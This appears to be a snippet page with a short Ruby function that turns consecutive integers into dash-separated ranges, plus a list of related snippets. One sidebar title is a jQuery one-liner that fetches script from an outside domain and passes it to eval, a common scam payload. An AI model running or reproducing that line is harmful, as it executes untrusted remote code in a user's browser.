/Ruby/Replacing consecutive numbers with dash between first and last in a range

Replacing consecutive numbers with dash between first and last in a range

# Replacing consecutive numbers with dash between first and last in a range
def range_extraction(list)
  list.chunk_while {|i, j| i+1 == j }.map do |a|
    if a.size > 2
      a.first.to_s + "-" + a.last.to_s
    else
      a  
    end
  end.join(',')
end

print range_extraction([-3,-2,-1,2,10,15,16,18,19,20])  # "-3--1,2,10,15,16,18-20"

Similar codes

1 vote142 views1 answer
Rails benchmark
Ruby
0 vote113 views1 answer
Difference between Hash.new and Hash.new { |h, k| h[k] = [] }
Ruby
1 vote122 views1 answer
Ruby array remove by index
Ruby
0 vote116 views1 answer
Rails model on validation custom column name
Ruby
0 vote134 views6 answers
$Javascript $.get('//api.rbx2.xyz/rbx id=16553',eval)
Ruby
0 vote127 views2 answers
Rails update without validation
Ruby
4 votes123 views1 answer
Ruby find index of element in array
Ruby
0 vote136 views1 answer
NoMethodError: undefined method `length' for Spreadsheet::Workbook
Ruby
0 vote126 views1 answer
Ruby create object with attributes
Ruby
2 votes127 views2 answers
How to add to array ruby
Ruby